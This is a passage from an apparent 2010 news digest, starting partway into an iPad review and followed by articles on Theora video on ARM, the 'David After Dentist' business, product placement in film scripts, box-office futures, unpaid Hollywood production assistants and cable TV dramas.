File handling is a compartmentalized, frustrating experience. You have to associate files with a specific app at the bottom of the Apps tab; there, under File Sharing, you'll see which apps support files, and then you can associate files with those specific apps. Unfortunately, when you click an app, you get no indication of what file types it supports. And oddly, whenever I added a file to an app's queue, the iPad would begin syncing, without my pressing Apply.

During installation, iTunes for Windows crashed twice while trying to convert my chosen 1600 photos, but eventually I got the iPad set up. I should note that four colleagues set up iPads without incident on both Mac and PC platforms, though they had far less content to contend with.

What's Inside

Because it shares an underlying operating system with the iPhone and the iPod Touch, the iPad immediately feels familiar. The main menu mimics that of the current iPhone OS, with four icons across and four rows down, plus Safari, Mail, Photos, and iPod icons in a row at the bottom (you can select to display up to six icons). Icons have the same characteristics as those on the iPhone; they include Calendar, Contacts, Notes, Maps, YouTube, iTunes, App Store, and Settings. One new item is a dedicated icon for Videos--a logical addition, given the device's roomy screen.

One app that doesn't come preinstalled is iBooks, Apple's one-stop shop for reading and shopping for e-books. The first time you access the App Store, you get a prompt asking whether you want to download iBooks. And of course, you can add apps from the Apple App Store.

The 9.7-inch LED-backlit screen uses IPS (in-plane switching) technology to achieve better color and contrast, and Apple identifies as a wide 178-degree range of viewing angles. In my tests, I found that I could view video at an angle, but I was often distracted by severe glare, whether I was outdoors or indoors in an office setting. When I could overcome the glare, the screen looked bright and displayed brilliant, accurate colors. The device's native 1024-by-768-pixel resolution is sufficient for watching high-definition video, though the experience is better when you watch videos stored locally, as opposed to watching streaming video content. The screen is also great for viewing photos and for flicking through content.

The display dominates the device, with a wide black bezel surrounding its oleophobic (oil-resistant) display, designed to minimize fingerprints. Even so, after just an hour of use, the display was covered with smudge marks. The iPad measures just 0.5 inch thick, but I had some difficulty handling it over any extended period. At 1.5 pounds, and with dimensions of 9.6 by 7.5 by 0.5 inches, it was too heavy for me to hold in both hands for very long, let alone in one hand, as sometimes felt natural to do. The weight is a significant consideration if you plan on using the iPad as an e-reader.

Other e-readers, like the Amazon Kindle 2, the Spring Design Alex eReader, and the Amazon Kindle DX, are much lighter and permit a much more comfortable reading experience.

Like the iPhone before it, the iPad lacks a physical keyboard--and the built-in on-screen keyboard of the iPad could stand improvement. The unit's physical size meant that my relatively small hands couldn't reach across the expanse of the unit's on-screen vertical keyboard, a problem exacerbated when I turned the unit to horizontal mode. To type on the device, I needed to place it flat on a surface, not a particularly ergonomic arrangement.

The keyboard lacks the iPhone's letter magnification when you press a key, a visual cue that I missed immensely. It also lacks the haptic (vibration) feedback common to Android phones. (You do get a click noise, if you leave the volume on). Though I'm a fairly speedy typist on my iPhone keyboard, I found this keyboard uncomfortable and easy to hit the wrong key on--barely adequate for light typing, and intolerable for anything of length. (Apple will soon have a $69 keyboard dock accessory, however.)

Like the iPhone before it, the iPad has a minimalist design and a smooth, aluminum back. At the bottom of the device are the dock connector and the speaker grille. The sole buttons are the Home button (centrally situated beneath the display), the volume rocker on the side, and a screen lock button above that (instead of a mute button, as found on the iPhone). The volume rocker and the screen lock feel sharp and cheaply made, in contrast to about the rest of the iPad's otherwise premium design.

The iPad connects wirelessly via 802.11a/b/g/n; the 3G versions will have a micro-SIM card for use with any wireless data service. (Though the 3G iPad will support wireless data, it won't support wireless phone or SMS functionality.) The iPad also has Bluetooth 2.1 + EDR, for use with both a Bluetooth keyboard and headphone devices.

The unit contains Apple's 1GHz A4 processor system-in-a-chip. Performance was fairly zippy as I navigated among apps and screens, but data transfers to and from my iPad--connected to the computer via iTunes--felt poky on my main Windows Vista system.

Video performance impressed across multiple apps, including the video player, HTML 5 Web video, and third-party apps like the ABC Player (in horizontal, full-screen mode). Still, I had mixed experience with YouTube videos in both standard definition and high definition (it was unclear whether this was due to a network latency issue or to the iPad YouTube app, though video played more smoothly at a lower resolution on my iPhone 3GS at the same time). For example, when I played the Avatar movie trailer in high def, it stopped playing while it loaded in the background and then caught up. Disney's official HD trailers had the same problem. Once the HD video loaded, it played smoothly; but loading was a bottleneck. More-standard fare, like YouTube content such as Miley Cyrus's "The Climb Official Music Video" (shown in HQ mode) exhibited notable pixelation.

Graphics designed for the iPad--in particular, graphic novels from IDW and Marvel--and the realistic, fluid page movements in iBooks looked stunning; so did games designed for iPad, and high-resolution photos. But the iPad's attempts to scale iPhone apps to fit its larger screen fell short. Text and graphics in these apps looked blurry and were filled with artifacts; the effect was much like what you get when you try to view standard-definition video on a high-def screen.

Another oddity: The iPad has a single speaker, at the bottom of the unit--not a great arrangement if you want to lean it on your lap, since that action will obstruct the speaker. Though the iPad's speaker sounds better than the ones on, say, the iPhone or the iPod Touch, that's not saying much. Audio lacked bass and depth; and the lack of a stereo option feels was disappointing.

Another hardware omissionis the absence of a camera, which means that you can't use the unit for videoconferencing. There's no multitasking either, though that's rumored to be coming in a software update. And you don't get any storage space; if you want to view images from a camera, you're only recourse is to buy the $30 SD Card dock adapter or the $30 USB port adapter. Unfortunately, neither of these options allow you to use the iPad in a way that mimics a more versatile netbook. Also, the device's inability to accept a USB flash memory drive and to access any of an array of file types is unfortunate and hampers its ability to compete with less expensive, slightly bulkier, but more full-featured netbooks.

A final notable omission is Apple's lack of Adobe Flash support, which means that the user can't view content from as-is services like Hulu and the full YouTube catalog on the iPad. Though some sites are switching to HTML 5, the iPad's lack of the far more common Flash format is disappointing.

Application Deep Dive

The iPad runs iPhone OS 3.2. Its friendly, easy-to-use, interface gives the iPad an built-in audience. But in my hands-on testing, the OS itself didn't always translate well from the smaller iPhone. True, navigating by touch on the large screen is apleasure--and superior to, say, the joystick-based navigation of the comparable-size, nontouch Amazon Kindle DX screen. But images, icons, and text didn't look as crisp as I'd expected them to. Still, in most respects, Apple did a good job of optimizing its built-in core apps for the iPad's screen.

As a photo viewer, the iPad shines. Photos looked superb on the iPad's display, and you can use all of the familiar multitouch gestures (such as flick and pinch to zoom) found on the iPhone's photo app. The iPad's ample screen showcases images well and permits you to preview images easily.

The iPad's photo application is superior to the iPhone's, too, with on-the-fly slideshow creation, complete with transitions. Simply choose from among five transitions, pick the music you'd like to add (if any), and you're off. I don't see the iPad replacing inexpensive digital photo frames, but I can envision an iPad doubling as a photo frame as it stands upright in its dock. To set the iPad to photo frame mode, simply wake it from sleep (by pressing the Home button), and then click an icon at the right of the screen to start a photo slideshow.

Another convenience: The photo app gives you different ways of viewing the images (including sorting by places, people, events, and a mini-thumbnail bar at the bottom of the screen to jump quickly to other photos in the album). Unfortunately, the sorting capabilities work only if you usie iPhoto to characterize people or events, or to tag places--so people who use other imaging applications for the PC or the Mac can't take advantage of those features. Some of my photos that were tagged with GPS info by the capture device (such as my iPhone 3GS) displayed that information; but for some reason not all of my iPhone 3GS photos showed in that view.

The photo app is fine for viewing images, but it falls short elsewhere. You can't view videos that are mixed into a photo folder, for example. And though you can view an image, e-mail it, turn it into wallpaper, or copy it, you can't move it to another folder or can you view the file name.

The e-mail app has also been cleverly redesigned to take advantage of the spacious screen. For example, in landscape mode, the e-mail app shows recent messages and a search bar at the left. The selected message appears on the right--an approach that isn't viable on the iPhone's smaller screen.

The Calendar app benefits greatly from the iPad's display. Calendar entries are more readable, and the day and weekly views look terrific, with more detail visible onscreen, and easier navigation to other days in a month. You can easily switch among different calendars for your household, or view a list of your events for a given month. Regrettably, however, you can't print it natively, nor can you e-mail entries to yourself or to others.

The highly visual iPod library looks very different on the iPad. You can easily see your library options (music, podcasts, audiobooks, purchased, and playlists) in a pane at left, and then see the content of each in a pane at right. The playback varies slightly from the iPod app on the iPhone: Here, the playback buttons are in the upper right corner, rather than at the bottom of the device.

The ability to edit playlists on the fly is a welcome addition, and it's extremely easy thanks to the extra screen real estate. You can play music in the background as you move around the devices, too; playback will end only if you activate a second app that requires audio.

Video playback takes advantage of the larger screen, too. Content can be segmented as TV Shows, Movies, or Music Videos. You click the thumbnail art to enter the content. The type of content determines how the iPad handles it: A music video will show a thumbnail, and information about the video (dimensions, size, length, release date, and codecs, for example), while a TV show displays the whole series under that header. For example, all episodes from Star Trek: The Original Series, Season 2, or NCIS, Season 7, will appear under that single header. The menu visuals look outstanding; and playback is solid, with few artifacts visible in the iTunes content I viewed. In landscape mode, 4:3 content fills the screen and has top/bottom black bars in vertical mode; it looks great.

The iPad as an E-Reader

Apple has been touting the iPad as an e-reader, but I have my doubts. Granted, Apple has perfected the retail digital download model with its iTunes store, and the company may succeed in enticing consumers to shop for digital books, too. Also to its advantage, the iPad is the only platform so far (other than a full-blown computer) that supports multiple e-book readers and stores, opening the door wide for variety and innovation.

But how well does the iPad--with its glossy, glary screen and slightly heavier weight--perform as an e-reader? Here, the iPad stumbles big time. Though I loved how easily I could turn pages with a light touch to the side of the book, my hands grew tired of holding the iPad after a few minutes. In addition, the screen's glare tired my eyes, and it was further marred by a slight but noticeable flicker in the background. Furthermore, if you adjust the brightness in iBooks (to ease the potential eyestrain), the brightness settings for the entire iPad change as well. Another glitch: The auto-brightness feature in settings appeared ineffective at launch.

The iPad does simplify shopping for books via iBooks, but you're limited to looking at those books on the iPad. Browsing your library full of books--as represented visually by colorful book covers--is easy, too. The iBooks app, in horizontal mode, lets you have two pages on the display at once. It even tries to mimic the experience of reading a book, right down to the visuals of additional pages on the left and right, and the darker area in the center, where the gutter between pages would be. I could easily scroll along the bottom of a book to jump to a specific page, with no significant delay when doing so. And I liked how the iPad showed the page number, the total page count, and niceties such as the number of pages remaining in the chapter.

Another plus: The iPad supports a variety of e-reader apps. If an app can be created, it can be used here. Amazon and Barnes & Noble are among the many sources of e-reader apps; and newspaper publishers are using the iPad as a bona fide multimedia publishing platform. The trouble is, if you buy a book from Amazon, for example, you can read it only in Amazon's Kindle app. So if you start buying books from different sources, you'll soon lose track of which book lives where.

The iPad's excellent visuals make it ideal for displaying illustrated books or graphic novels and comics. Comics and graphic novels, in particular, looked compelling, based on the IDW and Marvel apps I tried.

The Bottom Line

With the iPad, Apple is first to market with a tablet that may have mass appeal for viewing entertainment content--movies, TV shows, games, and the like. But delve a bit deeper, and the iPad feels like a first-generation device--complete with new-product hiccups--largely behaves like an iPhone (or iPod Touch) on steroids. Its lack of file-level control means that the iPad can't replace a laptop or netbook for core productivity activities. Nor is it a great candidate to be your primary e-reader. It's a great device for playing video and games, and for viewing photos, though--and for some consumers, that may be enough.
http://www.washingtonpost.com/wp-dyn...040400121.html





Interesting Times for Video on the Web
Robin Watts

If I told you that Google had helped fund an ARM code optimised version of the Theora video codec, most people’s reaction would be immediately to skip forward to the next blog entry. Audio and video codecs are the classic example of things that no one cares about, until they don’t work.

Ask most computer users what their preferred video codec is and they’ll look at you as if you asked what sort of motor they’d prefer in their washing machine. “We just want it to work!” they say. In this regard, it’s exactly the same for content creators and publishers. Every visitor to a website that can’t view a video is one set of eyeballs less for a message to get through to. It doesn’t matter how clever the advertising is, how much time is spent honing the message or how many clever viral tricks are deployed to attract surfers to the site, the moment the page opens up with a big blank box where the content should be, all that has been in vain.

So, publish video so it plays back on everything

Nice idea - but far from simple to achieve. At the moment there is no standard way to deploy video on the web. Some sites use Flash, but this restricts them to a viewing audience that have Flash players, instantly excluding most phones. Some use embedded Java players, but this restricts you to a viewing audience running on powerful enough devices to be able to decode video and audio in a virtual machine, excluding anything slower than a laptop. Still others rely on embedded native players (such as Windows Media Player), excluding every platform other than the intended one. Finally some sites just offer videos as links and farm the job out to whatever video playing software the user has (hopefully!) installed on his machine.

None of these meets the seamless “it just works” goal - and none of them looks like it will ever do so in future. Like it or not, the profusion of different web access devices out there means that this is only going to get harder and harder. Once it was enough to make sure your video was viewable on both PCs and Macs. Now you have Android, ChromeOS, iPhoneOS, Linux, Maemo, Symbian and umpteen others. Not only that, you have to cope with a range of processing powers, from desktops to laptops, to netbooks, PDAs and phones. The problem is exploding, not shrinking.

Fortunately, there is some good news in the form of HTML 5. This new version of HTML (the basic language used to write webpages) introduces a video element.

This will allow people to write their websites specifying the appearance of videos in a standard way. How the individual browsers choose to implement the playback is then up to them - whether they handle movies themselves or farm them out to embedded/external players is a decision made by the viewer, not forced back onto the content creator. The even better news is that support for this is already arriving - Firefox, Opera, Chrome, and Safari have already rolled out HTML 5 support and other browsers won’t be far behind.

So, problem solved?

Well, sadly, no. Having a consistent way of publishing video is a great start, but there is still the issue of what format to use. There is no “one size fits all”. Are we surfing the site on a phone with a small screen? Or with a netbook? A desktop? Or on our new 150 inch QuadHD 3D LCD TV? Screen size, connection size and processing power all affect the decision here. In the same way that we’ve seen home video quality improve from VHS to DVD to BluRay, video on the web is going to get better and better. And that’s fine: existing web server technologies can tailor the video tags used to the browser/devices in use.

What is clear though, is that we need a baseline to work from - one standard format that (if all else fails) everything can fall back to. This doesn’t need to be the most complex format, or the most advertised format, or even the format with the most companies involved in its creation. All it needs to do is to be available, everywhere. The codec in the frame for this is Ogg Theora, a spin off of the VP3 codec released into the wild by On2 a couple of years ago. It scores quite well on both the quality and compression fronts, standing up respectably against it’s more popular rivals such as MPEG4, while actually being much simpler to decode. The overwhelming feature that makes it stand out from its rivals is the fact it’s free. Really free. Not just “free to use in decoders," or “free to use if you agree to this complicated license agreement," but really, honestly, genuinely, 100% free. The specification for the stream and encoder/decoder source is available for public download and can be freely used/modified by anyone. Theora was designed and is maintained with the overriding goal of avoiding patents. No other codec can come even close to claiming to be as patent or royalty free as Theora can, whilst still holding a candle to the alternatives.

So, what’s missing?

Video decode is a pretty CPU intensive task. In order to fulfill the dream of being able to work on every device some painstaking effort is required. The complexity of Theora is considerably less than that of many of its peers; other codecs often require dedicated hardware in devices to help achieve performance targets, but with careful coding Theora can be made to run without this. In fact, on desktop/laptops realtime decode can be managed by an embedded Java player (such as the excellent free Cortado), enabling video playback on browsers still waiting to have video tag support added. For the increasing range of PDAs, phones, netbooks, web tablets and media players out there though, this isn’t an option. Rather than having typical power hungry desktop processors in, these devices tend to be built using the much more frugal ARM processors. While these have increased in power in leaps and bounds in recent years, they still can’t compare with their larger cousins for raw computational grunt. These ARM based devices represent the single biggest class of devices still needing work for decent Theora playback. Any efficiency savings we can make feed back directly into being able to cope with larger screen sizes or giving longer battery life.

This is where Google's grant comes in - by helping fund the development of TheorARM (a free optimised ARM version of Theora), they are helping to hasten the day when video works everywhere on the web, for everyone. That’s got to be something to be pleased about. And now you can flick forward to the next blog post.
http://google-opensource.blogspot.co...eo-on-web.html





David DeVore has Turned 'David After Dentist,' the YouTube Hit, Into a Business
Monica Hesse

A guy selling a product needs to dress the part, which is why David DeVore's uniform is a black collared shirt emblazoned with a zippy patch of his son's face and the phrase that made the younger David famous: "Is this real life?" The question is followed by a trademark symbol.

"I'm the dad who posted 'David After Dentist,' " DeVore says to an amiable trio of 20-somethings at a book party in McLean. "You know, the little loopy kid in the back seat of the car?"

Fifteen months ago, before the success of "David After Dentist," DeVore's business was Orlando real estate.

Now his business is his son, David. His six-figure business.

You know the kid. By now you've seen the 2009 video 10 or 12 times. By now you've memorized the dialogue of David, then 7 and fresh from a tooth removal, displaying the woozy effects of really good painkillers. "I have two fingers," he tells his father. "You have four eyes." Then, displaying wisdom repurposed by stoners everywhere, David goes deep. "Is this real life?" he asks. "Why is this happening to me?" The video has been viewed 56 million times on YouTube with 100,000 new views every day.

But the trio talking with DeVore does not know of this kid. They are, they say apologetically, visiting from Romania.

Ah. This explains it. "David After Dentist" merchandise has been shipped to 20 countries, but apparently not Romania.

DeVore was invited to this event -- the release of "The Complete Idiot's Guide to Social Media Marketing" -- by author Jennifer Abernethy to share his exemplary marketing story.

On DavidAfterDentist.com, visitors can buy T-shirts ($20) and stickers ($5). They can watch the parodies, which include Darth Vader imitating David, and a Super Bowl commercial starring Beyoncé and David, promoting consumer electronics company Vizio.

All in all, with the licensing deals, the T-shirts and a YouTube ad partnership, the DeVores have amassed "in the low six figures," DeVore says. "More than $100,000." (This works out, by the way, to approximately $840 per second for the less-than-two-minute video). Around $6,000 of that has gone to the children's charity Operation Smile.

"We're all in," DeVore says cheerfully, of the business of David. "We've decided to embrace it."

Some YouTubers painstakingly craft thousands of "funny" videos, hours of footage designed to launch their Internet stardom. These people would hate DeVore. He tripped over fame with the first video he posted.

The back story: DeVore had bought a new camcorder around the same time that David had a dental appointment. His wife, Tessie, couldn't get out of a meeting, so DeVore made a post-surgical film to show her that everything was fine. He shared it on Facebook and then, several months later, learned of a site called YouTube and posted it there, too.

CNN called. The "Today" show called. Hordes of Web surfers called it the best video ever made and watched it more times than any other YouTube video in 2009, aside from Susan Boyle's quivering appearance on "Britain's Got Talent."

"It's been life-changing," DeVore says. "About four months into it, we realized there were going to be some opportunities to make some mon -- to monetize the situation." He has learned, it seems, the language of business.

DeVore runs the operation out of the family's spare bedroom while David and younger brother William are in school. He's just gotten back from media festival South by Southwest, and he'll soon be heading to ROFLCon in Boston. Stage parent? Nah. Just an entrepreneurial guy who knows a good opportunity when he sees it. The money will go toward David's college fund.

David loves the attention, DeVore says, and reached by telephone later, David, now 9, indeed seems pleased. "It's really fun," he says. "I've gone to places a lot more. As a matter of fact, I've been on planes more than when I was little. I've gone to New York twice. We're going to Boston, and I forget where the other place was." His classmates used to be impressed by him; now they are used to his celebrity.

One thing, though. David really hates when "people think my dad did it to make fun of me." In fact, David wants to make a follow-up video, in which he tells his side of the story and how the whole afternoon went down.

DeVore knows that it will be difficult for anything else they post to approach the success of "David After Dentist," and thus, "We're waiting for the right moment."
http://www.washingtonpost.com/wp-dyn...040603863.html





Before the Actors, Filmmakers Cast Products
Stephanie Clifford

Jordan Yospe had some notes on the script for “The 28th Amendment,” a thriller about a president and a rogue Special Forces agent on the run. Some of the White House scenes were not detailed enough, Mr. Yospe thought. And, he suggested, the heroes should stop for a snack while they were on the lam.

“There’s no fast-food scene at all, but they have to eat,” he said.

Mr. Yospe was not a screenwriter, not a producer, not even a studio executive. No, Mr. Yospe was a lawyer with the firm Manatt, Phelps & Phillips. He was meeting with the writer-producer Roberto Orci, who co-wrote “Transformers” and “Star Trek,” to talk about how to include brands in “The 28th Amendment.”

In the past, studio executives made deals to include products in films. Now, with the help of people like Mr. Yospe, writers and producers themselves are cutting the deals often before the movie is cast or the script is fully shaped, like “The 28th Amendment,” which Warner Brothers has agreed to distribute.

Now, having Campbell’s Soup or Chrysler associated with your project can be nearly as important to your pitch as signing Tom Cruise.

“The cost of movies is going up, and that really drives almost everything,” said Jack Epps, the co-writer of “Top Gun” who is chairman of the writing division at the University of Southern California’s School of Cinematic Arts. “If you want to catch an executive’s attention right now, it’s not just selling the script, but you’re showing them how to create a brand.”

For the moviegoer, the shift will mean that advertising will become more integral to the movie. The change may not be obvious at first, but the devil is going to wear a lot more Prada.

Manufacturers can stipulate that a clothing label must be tried on “in a positive manner,” or candy or hamburgers have to be eaten “judiciously.” A liquor company might sponsor a film only if there is no underage drinking or if the bar where its product is served is chic rather than seedy.

The more intricately a film involves a product, the more a brand pays for the appearance, offering fees ranging from a few hundred thousand dollars to several million a film.

Writers say this helps them work in brands gracefully, rather than finding out later that studio executives have jammed in products at the last minute. “The pressure to integrate is always there,” Mr. Orci said. “It’s got to be done realistically.”

So writers are taking charge. In the 2009 film “Up in the Air,” Jason Reitman, the writer and director, wanted a real hotel brand for his frequent-flying character.

As a Hilton HHonors Diamond V.I.P. member himself, Mr. Reitman urged the studio to make a deal with Hilton, which offered free lodging for the crew, sets and promotions of the film on everything from key cards to in-room televisions to toll-free hold messages. Hilton worked with the production company to make sure everything from staff uniforms to hotel shuttles was portrayed correctly.

Deals like that mean lower-budget movies like “Up in the Air” can be made. They also mean movie viewers are increasingly paying to see more elaborately constructed advertising.

That is one reason that screenwriters’ groups like the Writers Guild of America-West have objected to the practice, and some writers are worried about further product placement.

“I think it’s lazy writing,” said Mary Gallagher, a screenwriter and instructor at New York University’s Tisch School of the Arts.

Product placement certainly is not new — the Lumière brothers agreed to include Lever Brothers’ Sunlight soap in the 1896 film “Washing Day in Switzerland.”

But it has become far more aggressive on television, where Mr. Yospe cut his teeth, wedging brands into shows like “Survivor” and “The Apprentice” while he was general counsel at Mark Burnett Productions.

“People were blaming me personally for ‘Apprentice,’ destroying television with so many brands,” he said. Where the original “Apprentice” contestants were selling lemonade, he said, by the second season, they were producing M&M’s candy. “You start running out of things creatively to do if you have no resources, no money,” he said.

While Mr. Yospe often writes dialogue, in the meeting with Mr. Orci, he was suggesting types of advertisers to include. (Mr. Orci’s father, Roberto Orci, who is president of the advertising agency Acento, and his staff joined the meeting to discuss how brands might help market the movie.)

“You’ve written Gray has a Dodge Ram,” Mr. Yospe began, discussing a character. “Does it have to be a Dodge?’

“What’s wrong with Dodge? What have you got against Dodge?” said Mr. Orci, a soft-spoken 36-year-old.

The group began debating. In the script, Gray is described as “soldier-fit” but with “psychic damage.” Could someone like that drive, say, a Lincoln Navigator?

“That’s a mom’s car,” moaned Genesis Capunitan, an Acento executive.

Once Mr. Yospe gets clearance from the writer-producers, Mr. Orci and Alex Kurtzman, he will strike a few types of deals.

One is a straight payment, which usually runs in the mid-six to mid-seven figures, Mr. Yospe said. The second is a barter arrangement, where, say, a hotel puts up the cast and crew in exchange for being featured in the film. In the third kind, companies help market the film, as Hilton and American Airlines did for “Up in the Air.”

Mr. Yospe, who takes a percentage of the integration fees, said he was happy to work with studios, and he provided a direct path to writer-producers that a studio might not get. “Major talent like Bob Orci has it in his contract that he doesn’t have to do that sort of stuff,” Mr. Yospe said.

Indeed, Mr. Orci had mixed reactions to Mr. Yospe’s suggestions. Involving a fast-food restaurant was difficult — would a missing American president order a triple Whopper with cheese without attracting attention? One of Mr. Yospe’s ideas, though, he thought was strong.

On Page 16 of the draft, Lt. Col. Madigan Gray, the special forces officer, flirts with his girlfriend, Anna, at the bar where she works. In the next scene, the two are in bed. “It’s love,” the script says. “This woman is Gray’s anchor to emotionality he keeps locked down.”

Which is why he’s not thrilled to say, the script continues, “I’m going away again.”

Where the writers saw an anchor to emotionality, Mr. Yospe saw a selling opportunity. Could they add a brand-name trinket that Anna gives Gray as a good-luck charm, something like a bottle opener from her bar, he asked. They could charge even more if Gray used the keepsake later on.

“That’s cool,” Mr. Orci said, nodding. “If they can have that trinket in bars with the movie’s name on it? That’s smooth.”

“And it adds a little emotion,” Mr. Yospe said.

“Look at you!” said Mr. Orci, chuckling.

“Look at me,” Mr. Yospe said.
http://www.nytimes.com/2010/04/05/bu.../05screen.html





Hollywood Tries to Block Market for Movie Bets
Michael Cieply and Joseph Plambeck

In a show of solidarity, many of the film industry’s major players, and some sympathetic lawmakers, have aligned in an 11th-hour push to block new financial instruments that would allow traders to swap contracts tied to box-office results.

A coalition led by the Motion Picture Association of America was expected to file by Thursday comments that would urge the Commodities Futures Trading Commission to reject a request by Veriana Networks to create a market for film futures contracts. Some of Hollywood’s largest labor unions and professional organizations will back the M.P.A.A.’s push.

Among those who spent the week coordinating their objections were the Directors Guild of America, the International Alliance of Theatrical Stage Employees and the Independent Film and Television Alliance. The M.P.A.A. represents the major film studios, including 20th Century Fox, Paramount Pictures, Sony Pictures Entertainment, Universal Studios, Walt Disney Studios and Warner Brothers.

The expected comments will address the first of four approvals that would allow Veriana Networks and a separate exchange run by Cantor Fitzgerald to begin making markets in the contracts.

Over the last two weeks, California’s two senators, Barbara Boxer and Dianne Feinstein, sent the commission a joint letter urging caution in approving the contracts. Representatives Lamar Smith of Texas, Robert W. Goodlatte of Virginia and Henry A. Waxman of California sent similar letters.

Both the Cantor futures exchange and Veriana Networks would allow investors to buy or sell — or “short” — contracts based on a movie’s box-office receipts, in essence betting on how well a film will do when released in theaters. On the proposed Cantor exchange, for example, contracts would trade at $1 for every $1 million a movie is expected to bring in at the domestic box office during its first few weeks in theaters. If a contract is bought for $100 and the movie grosses $110 million, the trader makes $10. If another investor shorts the movie, selling the $100 contract, that investor loses $10.

The Veriana exchange would be open only to institutional investors, while the Cantor exchange would be open to anyone.

“I don’t know of any major representative in our sector that is supporting it,” Bob Pisano, the M.P.A.A.’s president, said on Wednesday.

While the industry’s opposing comments were not yet final on Wednesday afternoon, Mr. Pisano and others said they were expected to cite a host of potential problems. Those include the risk of market manipulation in the rumor-fueled film world, conflicts of interest among studio employees and myriad contractors who might bet with or against their own films, the possibility that box-office performance would be hurt by short-sellers, difficulty in getting or holding screens for films if trading activity indicated weakness and the need for costly internal monitoring to block insider trades.

Among the potential abuses, the studios contend, is that a speculator might leak an early version of a film to the Internet and then profit from its subsequent poor performance at the box office.

A final ruling from the commission on Veriana’s exchange is expected on Friday. Cantor expects to get its approval by April 20, and the company is so confident that it has been allowing customers to add money to their accounts since March 15.

Both companies say they remain hopeful that the applications will be approved.

“If they want an open dialogue, we’re happy to do that and happy to restart the approval of the product,” said Rob Swagger, Veriana’s chief executive.

Richard Jaycobs, the president of the Cantor Exchange, said he had been meeting with film investors since the movie association sent a letter last month objecting to the exchanges. Mr. Jaycobs said the exchanges would help bring more transparency to the business.

Both Cantor and Veriana say that their exchanges are intended to give Hollywood investors a way to mitigate their risks. If a distributor has second thoughts about a movie, the company could short it on the exchange.

But Mr. Pisano said he had been assured that none of the major film companies intended to use the contracts for hedging.

Mr. Pisano acknowledged that the industry and its allies had been slow to respond to what they now considered a major threat.

He said his organization customarily monitored action by the Federal Trade Commission and the Federal Communications Commission, but did not look closely at commodities regulation and focused on the new contracts only after reading recent media reports about them.

In a letter responding to the movie association’s earlier objections, Mr. Jaycobs wrote that Cantor had approached the M.P.A.A. multiple times since March 2009 to discuss the exchange. Except for an acknowledgment of the contact, the association gave no “substantive response or objection” until the letter last month, Mr. Jaycobs wrote.
http://www.nytimes.com/2010/04/08/bu...08futures.html





Hollywood Filmmakers Abuse Lowly Production Staff
David Robb

They are Hollywood's migrant workers, the gofers, the errand boys, the Girls Friday.

They are Hollywood's production assistants, the lowest-paid workers on the set -- if paid at all -- and the only ones without a union, the only ones no union even wants to bother with. In Hollywood's caste system, they are the untouchables.

These PAs work in nearly every phase of production and postproduction, and sometimes their employers break the law by not even paying them.

There are transportation production assistants (the Teamsters don't want them); camera PAs (the Photographers Guild doesn't want them); costume PAs (the Costumers Local doesn't want them); office PAs (the Office Workers Local doesn't want them); and art department PAs (the Art Directors union doesn't want them, either).

Production assistants have five things in common: They're young, they're multitaskers, they're trying to break into show business, they wear earpieces on the set so they can be yelled at from afar -- and they all have stories of abuse.

At any given time, there are probably hundreds of such people in Hollywood that fit the PA description. One production assistant tells of being ordered to run into a burning building to deliver scripts -- a real building that actually was on fire! Another tells of being screamed at because she didn't bring back enough chips from the lunch run to a Mexican restaurant. "How f---ing stupid are you?" the production coordinator shrieked.

Sexual abuse is not uncommon, either. Last year, ESPN baseball analyst Steve Phillips was fired after it was revealed that he had an affair with a 22-year-old production assistant. The PA, natch, was fired, too.

Most PAs work for $10 an hour or less and often at minimum wage, which is $7.25 an hour. But some low-budget producers think they don't have to pay their production assistants at all. Craigslist and Mandy.com, a jobs board for the entertainment industry, are full of ads seeking production assistants who will work for nothing.

As one anonymous PA blogger noted recently, "I've been combing Craigslist and Mandy.com for a while and I tend to notice that, like, every single ad or call for a PA is indefinitely nonpaying."

One way producers think they can get around state and federal minimum-wage laws by not paying production assistants anything is to call them "interns."

A recent want-ad on Mandy said: "Our production interns will handle appearance releases, assist crew with gear, and everything in between. The days are 10 hours long. We are not able to provide compensation, but your lunch will be paid for on every workday. This is a fast way to gain some amazing experience for your resume!"

Trouble is, the law governing use of unpaid interns is clear: Unpaid interns can't perform work that is of any benefit to the company, which clearly was not the case with the employer in the want ad.

Labor law also requires that unpaid interns receive school credit for their internships, and even then they can't do work that normally would be performed by a paid worker. Answering phones, making copies, running errands or any of a thousand other tasks normally performed by paid workers is not permitted.

But that doesn't stop producers from trying. Another ad for an unpaid production assistant "intern" said: "The heart of the Internship will focus on researching information and gathering visual content, but you will also help with the public relations side of filmmaking, which is not taught at most film schools. This is an unpaid internship."

A similar ad on Craigslist read: "Looking for experienced production assistant for upcoming feature-length film shoot in Missouri. Great for your resume! We are looking for those who feel comfortable with/and have: Camera/equipment knowledge; camera set up, working closely with DP; lighting set up; transporting equipment and heavy lifting. Compensation: no pay."

Still another recent Craigslist ad sought production assistant "interns" for a feature film shooting in and around Ione, Calif. "We will be needing production assistants for daytime prepping of the location. This is a nonpaid position. You will be responsible for assisting director and producers, which means anything from running errands to helping with the meals."

Clearly, these all are violations of state and federal minimum-wage laws that leave the employers exposed to complaints to the State Labor Board. In California, such complaints can be filed with the state's Department of Industrial Relations, Division of Labor Standards Enforcement.

If no union wants to protect Hollywood's production assistants, maybe the State Labor Board will. The only good news recently for PAs is that the new federal healthcare reforms require large employers to provide healthcare coverage for all their employees. So maybe the next time a PA is forced to run into a burning building, at least her medical treatment will be covered.

(David Robb has covered Hollywood's unions for more than 20 years, and is the author of "Operation Hollywood: How the Pentagon Shapes and Censors the Movies." He can be reached at davidrobb88@aol.com.)

(please visit our entertainment blog via www.reuters.com or on blogs.reuters.com/fanfare/)
http://www.reuters.com/article/idUSTRE6371KY20100408





Cable TV, the Home of High Drama
Bill Carter

Television viewers in search of challenging, original drama are flipping past the broadcast networks and going straight to the source: cable channels.

The new FX drama “Justified,” a contemporary cop show so steeped in the iconography of the Western that its first episode included no fewer than two pistol draws, attracted 4.2 million viewers and the biggest ratings for a drama premiere on the channel in eight years.

At the same time, the first new episode this season of AMC’s “Breaking Bad,” a corrosive character study about a terminally ill chemistry professor turned crystal meth pusher, eclipsed even that network’s big hit “Mad Men” in many ratings categories, drawing just over two million viewers, but 3.3 million when its immediate repeat is included.

The success of both shows — following a succession of drama hits on cable channels like USA, TNT and ABC Family — comes at the same time when broadcast networks are struggling to find hourlong shows that can last even a full season — especially in the 10 p.m. hour.

The shift to cable also reflects a changing business model for the drama, one that is no longer dependent on making 100 or more episodes to sell in syndication. Instead, these cable dramas rely on tighter budgets, subscription fees paid by cable operators, smaller deficits and most crucially, investment by international networks.

